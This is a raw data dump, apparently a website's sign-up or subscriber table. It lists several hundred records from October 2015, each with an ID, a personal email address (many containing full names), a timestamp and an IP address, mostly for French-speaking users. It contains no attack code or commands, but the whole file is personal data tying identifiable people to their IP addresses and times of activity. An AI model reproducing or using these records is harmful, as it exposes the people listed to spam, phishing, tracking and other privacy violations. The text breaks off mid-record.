+14512;justine91270@msn.com;2015-10-11 19:18:59;84.103.223.13 +14513;helene.hiolin@wanadoo.fr;2015-10-11 19:37:35;90.61.175.253 +14514;regine-20f@hotmail.fr;2015-10-11 20:11:56;78.203.71.93 +14515;croatti.sandrine@orange.fr;2015-10-11 20:12:51;90.48.14.228 +14516;kyraelya@icloud.com;2015-10-11 20:27:18;31.10.165.37 +14517;vpype@yahoo.fr;2015-10-11 21:13:14;2.1.249.177 +14518;mt.joly@numericable.fr;2015-10-11 21:24:04;89.225.42.107 +14519;venteslullaby@gmail.com;2015-10-11 21:31:05;77.135.54.14 +14520;zbma@orange.fr;2015-10-11 22:03:27;90.4.172.131 +14521;ellebasi.drayug@gmail.com;2015-10-11 22:13:57;31.32.168.42 +14522;st_verbeke@hotmail.fr;2015-10-11 22:47:33;86.209.13.96 +14523;sandrine.arnold87@orange.fr;2015-10-12 06:20:32;109.220.133.173 +14524;dany42.andre@orange.fr;2015-10-12 07:59:41;86.207.201.224 +14525;isabelle.68@icloud.com;2015-10-12 10:08:48;82.234.186.71 +14526;kdassonville1@hotmail.fr;2015-10-12 10:32:20;95.140.6.133 +14527;annesophie@limonier.com;2015-10-12 10:46:04;185.61.163.0 +14528;baillyaureliebailly@gmail.com;2015-10-12 11:19:12;80.15.106.150 +14529;ariane.schneider@ne.ch;2015-10-12 11:36:25;148.196.30.39 +14530;bruno.le-ru@orange.fr;2015-10-12 11:44:49;90.32.253.100 +14531;karinedevos@hotmail.fr;2015-10-12 11:51:26;78.220.10.83 +14532;buisson.flore@gmail.com;2015-10-12 12:23:02;109.21.249.215 +14533;jhbert75@gmail.com;2015-10-12 13:00:56;145.242.20.41 +14534;danielle56.verdicchio@oranges.fr;2015-10-12 13:17:10;86.211.105.150 +14535;dominique.allaumebobe@gmail.com;2015-10-12 14:36:47;109.94.40.200 +14536;christine.montaille@orange.fr;2015-10-12 14:47:56;78.229.235.14 +14537;iza.marechal@gmail.com;2015-10-12 16:01:06;88.127.96.199 +14538;jacqueline.dubois1@laposte.net;2015-10-12 16:26:13;79.91.196.11 +14539;sasaloony@msn.com;2015-10-12 17:28:14;2.3.199.74 +14540;angelique.dethiere@laposte.net;2015-10-12 17:35:36;93.0.2.184 +14541;christinedss@hotmail.fr;2015-10-12 17:36:42;90.25.191.154 +14542;noelle.pourrichou@wanadoo.fr;2015-10-12 18:42:21;78.230.39.7 +14543;adelinebonte@yahoo.fr;2015-10-12 18:57:10;78.237.9.176 +14544;dominique.frere2@free.fr;2015-10-12 19:45:13;82.238.192.155 +14545;laidyrose24@gmail.com;2015-10-12 21:21:36;83.200.189.227 +14546;christanna.delacour@wanadoo.fr;2015-10-12 21:25:02;90.25.147.250 +14547;isabellebarrot@aliceadsl.fr;2015-10-12 22:26:48;88.168.223.23 +14548;elisabeth54310@gmail.com;2015-10-13 11:40:22;78.218.95.74 +14549;martine-decaux@live.fr;2015-10-13 12:36:01;92.139.25.190 +14550;joce2106@hotmail.fr;2015-10-13 12:53:29;90.61.12.178 +14551;nathalie@happy-hair.fr;2015-10-13 13:33:26;93.13.110.69 +14552;graziella_cadiet@yahoo.fr;2015-10-13 13:33:27;78.235.240.5 +14553;delphinegarde@hotmail.fr;2015-10-13 13:59:54;109.205.5.33 +14554;jeanpaul.legros@wanadoo.fr;2015-10-13 14:08:58;86.204.43.180 +14555;liselefrancois@yahoo.fr;2015-10-13 14:25:16;90.51.98.202 +14556;mina.wicho@yahoo.fr;2015-10-13 15:09:46;86.74.220.2 +14557;loze.richard@orange.fr;2015-10-13 15:44:33;109.214.139.26 +14558;nami.86@hotmail.fr;2015-10-13 15:56:35;213.190.93.72 +14559;marie.rotily@laposte.net;2015-10-13 17:04:05;88.190.52.101 +14560;malelosu@hotmail.fr;2015-10-13 17:11:12;88.164.56.49 +14561;calzaza12@free.fr;2015-10-13 17:18:39;83.152.236.137 +14562;val.pinet@hotmail.fr;2015-10-13 17:22:16;93.5.219.144 +14563;sylviane.faure@numericable.fr;2015-10-13 17:37:23;85.170.112.151 +14564;acekman@bluewin.ch;2015-10-13 18:05:06;176.127.3.168 +14565;auroremerckx@gmail.com;2015-10-13 19:46:58;91.179.245.49 +14566;delphine.romele@free.fr;2015-10-13 21:12:10;78.225.212.97 +14567;colettebibard@me.com;2015-10-13 23:07:50;81.64.190.127 +14568;fauredada@yahoo.fr;2015-10-13 23:49:57;176.189.213.96 +14569;laurence.leonardi@sfr.fr;2015-10-14 09:08:43;217.108.180.122 +14570;christine.ginestet@gmail.com;2015-10-14 10:01:21;78.216.37.167 +14571;elodie.nou@free.fr;2015-10-14 10:05:54;83.157.114.27 +14572;treschicperu@gmail.com;2015-10-14 10:33:28;86.215.55.147 +14573;sandra.dembkowsky@orange.fr;2015-10-14 11:19:16;86.218.181.135 +14574;santho34@free.fr;2015-10-14 11:29:38;128.78.69.32 +14575;laurencep_2@hotmail.fr;2015-10-14 12:43:13;88.169.48.192 +14576;boyer-laurence@hotmail.fr;2015-10-14 13:17:26;92.137.216.209 +14577;emilie.grimbuhler@gmail.com;2015-10-14 13:22:58;165.225.76.121 +14578;maurice.neyret@wanadoo.fr;2015-10-14 13:52:57;90.15.48.168 +14579;chantal.douchain@cegetel.net;2015-10-14 14:29:13;77.194.62.203 +14580;jourdain.mady@orange.fr;2015-10-14 14:57:58;90.63.101.172 +14581;henriet.cat@orange.fr;2015-10-14 16:32:31;90.29.20.83 +14582;chevillard_marion@hotmail.fr;2015-10-14 16:55:29;92.161.33.97 +14583;jofauconni@numericable.fr;2015-10-14 17:04:35;89.158.149.104 +14584;virginie.besson@yahoo.fr;2015-10-14 17:13:19;88.184.9.56 +14585;s.levaux@icloud.com;2015-10-14 17:21:56;80.12.39.178 +14586;amina.bekhti@voila.fr;2015-10-14 17:30:50;82.228.93.203 +14587;prune1816@hotmail.fr;2015-10-14 17:36:52;109.212.90.97 +14588;manuelle.proust@orange.fr;2015-10-14 18:56:04;92.133.57.233 +14589;nathalieboboeuf59195@gmail.com;2015-10-14 18:58:13;88.178.47.122 +14590;anntrick@hotmail.fr;2015-10-14 19:25:09;84.102.48.106 +14591;keyser_zozo@mac.com;2015-10-14 20:09:04;85.5.0.90 +14592;mariannebrest@hotmail.fr;2015-10-14 20:40:02;86.195.26.42 +14593;mariepaviot@yahoo.fr;2015-10-14 20:43:23;90.17.226.223 +14594;c.grados@hotmail.fr;2015-10-14 20:56:12;109.213.235.66 +14595;anne-marie.ghidini@orange.fr;2015-10-14 20:56:48;92.130.182.20 +14596;rondelgillou@orange.f;2015-10-14 21:35:26;90.7.175.37 +14597;vnout@hotmail.com;2015-10-14 22:15:42;93.22.193.160 +14598;akaupp67@free.fr;2015-10-14 22:27:39;78.230.152.159 +14599;valerie.vandiest@hotmail.com;2015-10-14 23:22:46;109.88.80.79 +14600;shumin.zhuang312@gmail.com;2015-10-15 01:15:19;5.151.0.11 +14601;lkarkel@sfr.fr;2015-10-15 07:03:06;84.6.146.192 +14602;nath.duquellenec@gmail.com;2015-10-15 10:20:22;2.10.16.43 +14603;annecotoni@wanadoo.fr;2015-10-15 11:01:18;92.144.145.102 +14604;rothsylvie@free.fr;2015-10-15 11:04:33;82.236.206.199 +14605;lgcatherine@orange.fr;2015-10-15 12:19:01;90.11.162.23 +14606;dahmani.nb@gmail.com;2015-10-15 12:20:47;195.101.214.93 +14607;familybcj@yahoo.fr;2015-10-15 12:31:27;78.248.202.58 +14608;apaillet@live.fr;2015-10-15 13:35:54;109.7.103.226 +14609;debbie_1986@msn.com;2015-10-15 15:13:27;83.134.68.114 +14610;rachida@none.net;2015-10-15 15:20:20;81.80.56.131 +14611;mimi7735@live.fr;2015-10-15 15:52:52;88.169.26.229 +14612;laurencemonmaillat@yahoo.fr;2015-10-15 16:28:36;82.121.156.13 +14613;YF97118@SOHU.COM;2015-10-15 17:39:25;188.37.36.149 +14614;moondu62200@hotmail.fr;2015-10-15 19:47:38;92.147.48.224 +14615;muriel_diam@hotmail.com;2015-10-15 20:01:44;195.83.255.74 +14616;sylvieseandu55@hotmail.fr;2015-10-15 20:10:28;78.220.174.192 +14617;celine.mougin@wanadoo.fr;2015-10-15 20:42:29;93.28.93.155 +14618;VETVET76@FREE.FR;2015-10-15 20:58:30;78.126.41.77 +14619;olguette.thal@free.fr;2015-10-15 21:24:51;78.239.232.205 +14620;myriamdelgiudice@yahoo.fr;2015-10-15 21:33:53;77.150.193.88 +14621;grime.cathy@gmail.com;2015-10-15 22:22:20;86.235.110.158 +14622;pika-sapien@hotmail.fr;2015-10-15 22:38:24;109.212.104.234 +14623;haldimann.l@gmail.com;2015-10-15 22:48:18;176.179.131.71 +14624;kahina1393@hotmail.fr;2015-10-16 00:05:25;78.225.102.161 +14625;v.brigitte74150@hotmail.fr;2015-10-16 08:00:28;80.13.34.4 +14626;sagau@aliceadsl.fr;2015-10-16 08:04:08;88.125.53.55 +14627;paola.t@orange.fr;2015-10-16 08:45:27;109.220.121.169 +14628;christine.paul@agriculture.gouv.fr;2015-10-16 08:49:38;185.24.187.192 +14629;morgiane.laroche70@gmail.com;2015-10-16 09:22:24;164.177.39.169 +14630;marina.migas@gmail.com;2015-10-16 09:42:00;77.242.202.237 +14631;cecile.pont@cegetel.net;2015-10-16 09:56:56;109.27.136.166 +14632;michelle.cerutti@bbox.fr;2015-10-16 10:05:58;176.186.34.208 +14633;manuejosset@yahoo.fr;2015-10-16 10:08:55;2.9.109.12 +14634;joannesnathalie@orange.fr;2015-10-16 10:12:05;109.222.8.30 +14635;lullabye15@hotmail.com;2015-10-16 12:39:43;90.27.30.60 +14636;rmfelpeto@gmail.com;2015-10-16 12:55:38;109.23.86.208 +14637;camille.meti@hotmail.fr;2015-10-16 13:27:53;88.174.125.87 +14638;bruna.marcel@neuf.fr;2015-10-16 14:57:51;78.125.55.217 +14639;trumelisabelle1@gmail.com;2015-10-16 15:04:44;109.209.200.130 +14640;estel.hamel@yahoo.fr;2015-10-16 15:46:55;78.220.145.2 +14641;PHARMACIE.OPERA@WANADOO.FR;2015-10-16 15:47:34;90.15.118.118 +14642;lubrano.annie@wanadoo.fr;2015-10-16 16:52:02;86.219.150.117 +14643;monica.abreu@live.fr;2015-10-16 16:56:50;92.94.157.74 +14644;pat.herdenis@gmail.com;2015-10-16 18:20:02;2.1.100.238 +14645;christelle.brient@orange.fr;2015-10-16 19:34:50;109.218.173.239 +14646;sylvie-ralha@live.fr;2015-10-16 20:09:59;2.1.56.70 +14647;rosannamartins@free.fr;2015-10-16 21:12:50;78.204.248.106 +14648;lenacassi@orange.fr;2015-10-16 21:42:15;83.113.150.73 +14649;regis.druilhe@orange.fr;2015-10-16 21:49:37;92.149.216.117 +14650;jose@cosmxpert.be;2015-10-16 22:17:03;84.195.186.190 +14651;guilene-lecamu@hotmail.fr;2015-10-16 22:25:44;83.153.204.167 +14652;gabrielle.malherbe@gmail.com;2015-10-16 22:30:17;87.67.72.18 +14653;carole.schellaert@orange.fr;2015-10-16 22:35:43;92.147.159.97 +14654;leila_jouttane@config.fr;2015-10-16 23:11:55;88.161.8.173 +14655;meli.54@hotmail.fr;2015-10-16 23:27:10;84.7.95.160 +14656;patricia.brin.lr@gmail.com;2015-10-17 00:36:06;78.235.183.159 +14657;slepinouze@gmail.com;2015-10-17 08:54:00;88.126.74.160 +14658;shanga13800@gmail.com;2015-10-17 10:21:30;82.246.131.96 +14659;gwendolinesouli@homail.fr;2015-10-17 10:25:59;82.233.220.170 +14660;alexia.da@sfr.fr;2015-10-17 10:44:20;86.222.125.154 +14661;bazinp36@orange.fr;2015-10-17 10:52:48;92.152.34.61 +14662;coline.journey@gmail.com;2015-10-17 11:09:30;217.43.237.234 +14663;capurenaud@gmail.com;2015-10-17 11:38:35;83.198.95.231 +14664;julia.ghg@voila.fr;2015-10-17 11:41:25;89.92.135.156 +14665;laurence.legastelois@orange.fr;2015-10-17 11:41:28;86.215.15.64 +14666;marionn42@hotmail.fr;2015-10-17 11:45:55;92.144.105.22 +14667;nelly.hemeury@neuf.fr;2015-10-17 12:13:42;77.193.0.3 +14668;spuggioni@hotmail.fr;2015-10-17 12:23:16;82.244.37.14 +14669;aurore.tavani@gmail.com;2015-10-17 13:56:57;84.101.101.39 +14670;annelaurechaubert1991@gmail.com;2015-10-17 14:27:35;83.76.122.131 +14671;michele.bensimon@wanadoo.fr;2015-10-17 14:42:54;2.12.81.74 +14672;ma.paquay@laposte.net;2015-10-17 14:51:35;91.181.136.185 +14673;aupetdieude@wanadoo.fr;2015-10-17 16:45:38;109.217.146.204 +14674;falksab@hotmail.fr;2015-10-17 16:55:47;62.241.79.211 +14675;christelle.foucher0255@orange.fr;2015-10-17 17:13:35;92.160.253.25 +14676;corinna.b@orange.fr;2015-10-17 17:26:51;90.28.188.13 +14677;remiewalt@live.fr;2015-10-17 17:42:33;62.241.67.229 +14678;phocas.fabienne@neuf.fr;2015-10-17 18:04:57;86.67.183.250 +14679;f29.duval@wanadoo.fr;2015-10-17 19:10:02;2.14.137.138 +14680;bgoulon@yahoo.fr;2015-10-17 19:47:02;81.67.25.174 +14681;agathedorr@orange.fr;2015-10-17 20:02:41;83.196.172.152 +14682;celine.bourseau@gmail.com;2015-10-17 20:58:31;90.43.29.50 +14683;nicole.norval@orange.fr;2015-10-17 21:49:29;90.38.227.225 +14684;kantomarchi@yahoo.fr;2015-10-17 21:53:35;2.4.231.115 +14685;veroniquenicol@sfr.fr;2015-10-17 22:01:12;93.21.141.147 +14686;vbonicco@gmail.com;2015-10-17 22:17:42;84.100.234.74 +14687;murieldomingues@gmail.com;2015-10-17 22:32:29;83.115.20.19 +14688;melusine4322@hotmail.com;2015-10-17 22:53:07;109.214.200.69 +14689;cec.lanoob@hotmail.fr;2015-10-17 22:59:57;92.144.56.214 +14690;alexou.aa@gmail.com;2015-10-17 23:11:53;93.121.217.100 +14691;falliexarmelle@gmail.com;2015-10-18 01:23:56;64.134.191.47 +14692;mariefb37@gmail.com;2015-10-18 02:03:35;77.196.101.6 +14693;camille.villoz@bluewin.ch;2015-10-18 09:38:33;83.77.41.133 +14694;mariann.lane@wanadoo.fr;2015-10-18 09:58:55;86.206.228.247 +14695;marianne.lane@wanadoo.fr;2015-10-18 09:59:21;86.206.228.247 +14696;lemaitrepaulette@sfr.fr;2015-10-18 10:05:55;109.28.143.19 +14697;lemaitrepaulettte@sfr.fr;2015-10-18 10:06:19;109.28.143.19 +14698;jmplauer@hotmail.com;2015-10-18 10:17:19;46.153.169.142 +14699;lougm@orange.fr;2015-10-18 10:21:40;92.150.222.94 +14700;peggymiss22@yahoo.fr;2015-10-18 10:32:23;176.187.21.177 +14701;marybr@orange.fr;2015-10-18 10:34:39;92.162.206.245 +14702;vergnaud.michel@sfr.fr;2015-10-18 10:37:08;77.131.15.129 +14703;audreynico64@aliceadsl.fr;2015-10-18 12:25:02;88.170.161.21 +14704;alexandra.gay8@orange.fr;2015-10-18 13:12:13;92.147.198.12 +14705;jessicataupin@live.fr;2015-10-18 13:50:17;92.102.203.187 +14706;jung-philippe@orange.fr;2015-10-18 14:06:38;80.12.39.37 +14707;lndorise@aol.com;2015-10-18 14:14:45;88.142.185.108 +14708;inoezian@free.fr;2015-10-18 14:33:01;82.233.110.178 +14709;claudine.gaudin3@wanadoo.fr;2015-10-18 15:13:26;109.218.208.155 +14710;marion.sageloly@wanadoo.fr;2015-10-18 15:55:07;81.251.144.85 +14711;valerie.duranton@hotmail.fr;2015-10-18 16:02:57;88.187.80.81 +14712;laurenceor@sfr.fr;2015-10-18 17:13:21;78.122.133.242 +14713;stephanie_godefroy@orange.fr;2015-10-18 17:37:06;92.153.178.213 +14714;bricerousseau.laurence@neuf.fr;2015-10-18 18:42:29;79.88.69.222 +14715;nina.cordellier@hotmail.fr;2015-10-18 19:13:51;212.194.33.5 +14716;katell.rouleau@sfr.fr;2015-10-18 19:20:11;78.119.66.85 +14717;imariotti@outlook.fr;2015-10-18 19:21:04;78.234.120.175 +14718;lisamarie83@laposte.net;2015-10-18 20:20:25;77.153.212.91 +14719;man-g@hotmail.fr;2015-10-18 21:01:09;81.251.56.50 +14720;penghe2000@hotmail.com;2015-10-18 21:17:32;83.155.217.220 +14721;rejaneoner@orange.fr;2015-10-18 22:52:18;90.57.163.217 +14722;damialniju@orange.fr;2015-10-19 08:46:41;90.56.163.58 +14723;byevgenia@ukr.net;2015-10-19 09:35:59;94.178.91.28 +14724;provost.samuel-sophie@laposte.net;2015-10-19 09:36:01;88.136.43.38 +14725;corinne_faraglia@hotmail.com;2015-10-19 09:48:56;90.27.135.237 +14726;vezian.catherine@sfr.fr;2015-10-19 09:50:55;109.212.102.113 +14727;stephsarda@hotmail.fr;2015-10-19 09:56:39;80.15.208.205 +14728;marlene.marc81@gmail.com;2015-10-19 10:25:42;92.136.21.41 +14729;fabien-lina@orange.fr;2015-10-19 10:47:41;81.53.3.79 +14730;ch.delaveau@gmail.com;2015-10-19 10:52:04;164.81.175.2 +14731;finetdidier@orange.fr;2015-10-19 11:06:06;78.235.79.144 +14732;carine.nies07@orange.fr;2015-10-19 11:11:10;109.212.226.129 +14733;dorothee.maes@gmail.com;2015-10-19 11:28:18;94.111.46.232 +14734;ludetnath@msn.com;2015-10-19 12:15:50;217.128.236.181 +14735;magalilebrun@gmail.com;2015-10-19 12:18:25;78.127.137.191 +14736;eliane.bastiani@sfr.fr;2015-10-19 13:19:25;83.173.66.5 +14737;melodyhenry@outlook.fr;2015-10-19 13:48:28;217.108.0.141 +14738;hamiche86@hotmail.fr;2015-10-19 14:45:57;86.246.64.237 +14739;annelaureverdier@live.fr;2015-10-19 15:09:02;82.230.237.70 +14740;cardinali.jacqueline@neuf.fr;2015-10-19 15:19:09;78.125.71.87 +14741;annickgontier@gmail.com;2015-10-19 15:20:28;109.10.101.211 +14742;fan.verdiere@wanadoo.fr;2015-10-19 15:27:44;90.1.113.8 +14743;sabine.rosa@yahoo.fr;2015-10-19 15:47:47;82.243.80.19 +14744;do.larue@laposte.net;2015-10-19 16:44:29;109.30.135.113 +14745;isacopin@orange.fr;2015-10-19 16:53:59;81.49.38.24 +14746;jackie.labarriere@sfr.fr;2015-10-19 17:17:14;88.184.108.133 +14747;martine.tisseraud@wanadoo.fr;2015-10-19 17:18:31;92.149.183.19 +14748;marilyne.richert@orange.fr;2015-10-19 17:31:09;78.214.244.159 +14749;indiennedu13@wanadoo.fr;2015-10-19 17:41:30;92.158.130.95 +14750;chcoquelicot@hotmail.com;2015-10-19 17:55:29;77.154.202.105 +14751;stephanie.busse@outlook.com;2015-10-19 18:09:50;77.131.233.110 +14752;gojard.bernard@wanadoo.fr;2015-10-19 18:09:53;92.149.163.125 +14753;alice.cornet@hotmail.com;2015-10-19 18:33:26;109.88.115.241 +14754;ch.angevin@yahoo.fr;2015-10-19 19:01:01;81.48.117.186 +14755;celiabeinet@gmail.com;2015-10-19 19:07:45;90.44.172.120 +14756;carole.chev@hotmail.fr;2015-10-19 19:47:27;82.248.39.196 +14757;sergeleroy0864@orange.f;2015-10-19 20:52:55;90.17.40.123 +14758;j.amat@amathandb.com;2015-10-19 21:20:22;90.38.22.123 +14759;cherrypink@free.fr;2015-10-19 21:32:04;78.225.109.27 +14760;blotsandrine1071@neuf.fr;2015-10-19 22:08:56;93.3.111.30 +14761;mariejcs971@gmail.com;2015-10-19 22:31:56;83.200.37.26 +14762;otk@neuf.fr;2015-10-19 23:31:44;93.26.221.11 +14763;hubac.catherine@hotmail.fr;2015-10-20 01:26:20;62.34.95.239 +14764;rousseau.corynne@free.fr;2015-10-20 01:52:15;78.227.115.27 +14765;anneso-bouvier@hotmail.fr;2015-10-20 08:11:21;80.13.230.40 +14766;dominique.lerche@orange.fr;2015-10-20 08:48:56;90.7.91.84 +14767;mccail@orange.fr;2015-10-20 08:55:56;109.223.103.233 +14768;del.lys@hotmail.fr;2015-10-20 10:02:09;77.195.43.19 +14769;mayeurphilippe@neuf.fr;2015-10-20 11:27:17;109.22.141.104 +14770;oceanezhu0905@gmail.com;2015-10-20 11:28:49;81.220.66.205 +14771;kgenyo@sfr.fr;2015-10-20 11:45:36;92.93.28.101 +14772;helene.bonnefond24@orange.fr;2015-10-20 13:01:57;90.5.75.118 +14773;anais.desnos@hotmail.fr;2015-10-20 13:06:50;92.160.151.64 +14774;jfkuentz@hotmail.fr;2015-10-20 13:19:00;194.8.148.28 +14775;eva.ga@hotmail.fr;2015-10-20 13:21:29;82.231.127.155 +14776;em36@hotmail.fr;2015-10-20 13:23:40;90.20.42.176 +14777;paring.veronique@orange.fr;2015-10-20 14:43:11;46.218.61.145 +14778;pharmaciedescarabins@orange.fr;2015-10-20 14:46:12;217.128.22.92 +14779;cigalec@voila.fr;2015-10-20 14:58:15;90.28.199.42 +14780;elisa.damperat@hotmail.fr;2015-10-20 15:02:06;109.222.202.81 +14781;montig98-pub@yahoo.fr;2015-10-20 15:10:34;88.160.243.58 +14782;y@hotmail.fr;2015-10-20 15:13:23;31.39.148.26 +14783;chahou2011@yahoo.fr;2015-10-20 15:39:59;92.157.74.192 +14784;cindy.jannet@hotmail.fr;2015-10-20 15:48:03;176.188.142.2 +14785;aurore.brunet709@orange.fr;2015-10-20 16:26:04;81.250.205.66 +14786;dom.clavesani@gmail.com;2015-10-20 16:38:14;77.151.62.157 +14787;violaine.vermersch@hotmail.fr;2015-10-20 16:54:34;78.195.50.10 +14788;cyrus.christelle@neuf.fr;2015-10-20 17:08:09;78.123.162.201 +14789;lausko59@gmail.com;2015-10-20 17:38:18;83.192.123.6 +14790;anne-mariecherot@hotmail.fr;2015-10-20 18:08:08;89.93.74.97 +14791;g.sandra@sfr.fr;2015-10-20 18:19:27;81.65.189.0 +14792;louisedu56@gmail.com;2015-10-20 18:29:58;82.250.84.24 +14793;ldvincennes@yahoo.fr;2015-10-20 19:44:26;88.176.112.180 +14794;cayssilledidier@wanadoo.fr;2015-10-20 20:25:42;90.60.224.147 +14795;fabienne.arata@gmaikl.com;2015-10-20 21:15:36;85.168.220.88 +14796;mathilde.serra@laposte.net;2015-10-20 22:19:39;93.9.50.69 +14797;florencerouquette@yahoo.fr;2015-10-21 00:19:25;92.133.192.220 +14798;courtotannesophie@wanadoo.fr;2015-10-21 01:20:47;86.197.101.141 +14799;tiffany.duthyer@free.fr;2015-10-21 04:17:30;82.232.15.246 +14800;sofi.fassier@free.fr;2015-10-21 07:09:03;77.153.53.87 +14801;SBW@laposte.net;2015-10-21 09:17:04;88.182.208.156 +14802;f.folo@yahoo.fr;2015-10-21 09:52:07;78.250.108.41 +14803;lilisis@free.fr;2015-10-21 10:05:45;217.119.178.82 +14804;chambon.christiane@bbox.fr;2015-10-21 10:11:07;176.145.50.53 +14805;nathalie.camiade@wanadoo.fr;2015-10-21 10:57:45;83.200.133.178 +14806;art.toit@wanadoo.fr;2015-10-21 11:05:24;82.127.62.113 +14807;acsannemarie@bluewin.ch;2015-10-21 12:25:41;212.25.31.239 +14808;isabelle.bouilledelalande@yahoo.fr;2015-10-21 12:31:10;109.26.209.86 +14809;kpotier2@hotmail.fr;2015-10-21 12:36:25;80.14.147.109 +14810;veronique.ajalbert@bbox.fr;2015-10-21 13:00:39;31.33.135.245 +14811;danielle@cosmxpert.be;2015-10-21 13:02:03;91.182.153.108 +14812;carine.baumes@neuf.fr;2015-10-21 13:25:33;89.185.187.194 +14813;focchiminuti@gmail.com;2015-10-21 13:31:46;176.144.18.173 +14814;camila.foad@gmail.com;2015-10-21 14:04:23;92.150.54.112 +14815;denierchristiane@free.fr;2015-10-21 14:22:47;86.204.229.246 +14816;ODILE.BANDERA@WANADOO.FR;2015-10-21 14:58:19;86.200.59.91 +14817;shona.hammonds@numericable.fr;2015-10-21 15:03:46;87.231.21.207 +14818;yannick.ordonneau0685@orange.fr;2015-10-21 15:48:19;90.60.70.178 +14819;raulet.sylvie@neuf.fr;2015-10-21 15:55:26;83.167.43.187 +14820;pahin-mourot.yves@orange.fr;2015-10-21 17:15:23;92.138.15.142 +14821;piron.michele3@gmail.com;2015-10-21 17:33:34;109.15.241.223 +14822;sosso1462@hotmail.fr;2015-10-21 17:35:54;78.246.124.89 +14823;celibis@free.fr;2015-10-21 18:18:38;82.254.32.173 +14824;euro.sante@orange.fr;2015-10-21 19:58:40;91.121.90.17 +14825;si.rebecca@yahoo.fr;2015-10-21 20:33:07;91.91.115.115 +14826;alexandra.monzo@bbox.fr;2015-10-21 20:39:18;213.44.76.17 +14827;fred.p@orange.fr;2015-10-21 20:40:28;83.193.194.13 +14828;claire.mazillier@orange.fr;2015-10-21 20:51:12;83.113.90.210 +14829;annesophie.begat@yahoo.fr;2015-10-21 22:22:32;90.32.50.17 +14830;aud.sanchez@free.fr;2015-10-21 22:23:40;77.205.167.2 +14831;le_marius@hotmail.fr;2015-10-22 00:39:54;77.128.218.46 +14832;christiane2leroy@hotmail.com;2015-10-22 00:58:49;78.121.221.74 +14833;balannec@voila.fr;2015-10-22 08:42:58;77.128.109.193 +14834;anne.tailleux@yahoo.fr;2015-10-22 10:16:36;92.144.81.154 +14835;pascaledelvat@gmail.com;2015-10-22 10:45:51;88.183.148.38 +14836;c.ziggiotti@yahoo.fr;2015-10-22 11:28:32;82.125.29.5 +14837;marylene_45@hotmail.fr;2015-10-22 13:16:18;194.8.148.18 +14838;lau.cordary@gmail.com;2015-10-22 13:23:45;212.198.103.206 +14839;aurelie.garcia@yahoo.fr;2015-10-22 13:27:30;77.130.250.220 +14840;thida.ragot@free.fr;2015-10-22 13:27:52;82.64.230.218 +14841;stefy.albert@gmail.com;2015-10-22 14:12:52;147.99.84.242 +14842;alicia.gare@laposte.net;2015-10-22 14:30:01;37.160.25.174 +14843;ninon.verstraete@yahoo.fr;2015-10-22 14:45:31;149.154.215.140 +14844;jill.guerreroiv@gmail.com;2015-10-22 15:06:17;109.20.43.48 +14845;athena4ever@hotmail.fr;2015-10-22 15:24:26;92.149.191.55 +14846;marcaurel.kayser@yahoo.fr;2015-10-22 16:22:24;81.48.89.137 +14847;smoog74@gmail.com;2015-10-22 17:43:12;83.194.10.121 +14848;sophielecraverpav@orange.fr;2015-10-22 18:32:48;90.7.159.52 +14849;claudia.rgz@live.it;2015-10-22 18:37:41;79.56.240.7 +14850;helene@poseidon-nice.com;2015-10-22 18:42:36;88.160.111.217 +14851;lysianegodet@gmail.com;2015-10-22 18:45:14;90.4.53.95 +14852;famillefischer@hotmail.com;2015-10-22 19:02:30;88.177.30.34 +14853;coco29590@free.fr;2015-10-22 19:42:14;78.218.224.24 +14854;somelchior86@gmail.com;2015-10-22 20:07:50;85.27.68.94 +14855;aurelie.comeau@sfr.fr;2015-10-22 20:18:15;86.211.39.244 +14856;celiatof@gmail.com;2015-10-22 20:33:47;88.171.178.203 +14857;fab.calame@gmail.com;2015-10-22 20:33:49;77.56.104.178 +14858;dumont_laurence@hotmail.Com;2015-10-22 20:46:50;80.201.91.63 +14859;carodurrmeier@hotmail.com;2015-10-22 21:08:15;84.74.128.190 +14860;alexandra.darsy@free.fr;2015-10-22 21:29:32;82.245.42.163 +14861;clafoutiti@icloud.com;2015-10-22 21:47:22;86.193.63.206 +14862;sarah.graphdesign@gmail.com;2015-10-22 22:04:46;91.91.30.138 +14863;jsoenens@skynet.be;2015-10-22 22:06:37;109.134.28.27 +14864;na.vallet@hotmail.fr;2015-10-22 22:27:16;89.84.132.68 +14865;sylvad78@gmail.com;2015-10-22 23:13:10;82.238.162.30 +14866;flavie.deconinck@free.fr;2015-10-22 23:22:38;31.33.178.236 +14867;PHARMALOLO@LIVE.FR;2015-10-22 23:43:38;83.198.209.19 +14868;mcnullet001@rss.fr;2015-10-23 08:16:51;93.20.150.182 +14869;pharmakc@wanadoo.fr;2015-10-23 08:43:09;193.252.60.123 +14870;catalina1964@hotmail.fr;2015-10-23 08:44:35;46.235.183.233 +14871;scarabe76@aol.com;2015-10-23 08:46:06;90.80.9.17 +14872;l.billey@hotmail.fr;2015-10-23 08:57:35;86.202.84.199 +14873;donut_fly@163.com;2015-10-23 09:25:16;121.35.75.179 +14874;muriel.clemente@wanadoo.fr;2015-10-23 10:01:03;109.208.164.179 +14875;ariane.germain@hotmail.com;2015-10-23 10:01:33;80.201.126.225 +14876;jean-pierre.avrillier@wanadoo.fr;2015-10-23 10:26:42;86.200.25.171 +14877;sute27@hotmail.fr;2015-10-23 10:30:59;128.78.54.108 +14878;kpb1358@gmail.com;2015-10-23 10:55:15;89.225.206.146 +14879;sabine.gadal@hotmail.fr;2015-10-23 10:56:26;147.173.66.170 +14880;larouv@hotmail.fr;2015-10-23 11:21:17;80.14.18.58 +14881;aurelie_dougere@yahoo.fr;2015-10-23 11:50:49;86.134.193.213 +14882;valerieboussard@yahoo.fr;2015-10-23 11:59:31;77.146.91.69 +14883;pouget.am@hotmail.fr;2015-10-23 12:56:12;86.212.65.58 +14884;cath-el-roc@hotmail.fr;2015-10-23 13:02:28;109.19.84.103 +14885;fecerqueira@wanadoo.fr;2015-10-23 14:37:38;90.60.219.46 +14886;pharmaciebanon@offisecure.com;2015-10-23 14:53:40;194.8.148.25 +14887;o.marsol@hotmail.fr;2015-10-23 15:53:49;109.223.222.14 +14888;ugo.dukic@free.fr;2015-10-23 16:10:19;194.250.178.225 +14889;asandralges42@yahoo.fr;2015-10-23 16:21:46;90.38.86.196 +14890;apprentieserra@yahoo.fr;2015-10-23 17:32:15;90.13.68.100 +14891;nadine.maillet@yahoo.fr;2015-10-23 17:53:33;82.65.190.79 +14892;cendrine.dupuy@wanadoo.fr;2015-10-23 19:43:02;90.48.68.181 +14893;scoste@bbox.fr;2015-10-23 19:56:06;176.150.216.117 +14894;delphine-t13@hotmail.fr;2015-10-23 20:09:09;82.239.233.57 +14895;sfixary@free.fr;2015-10-23 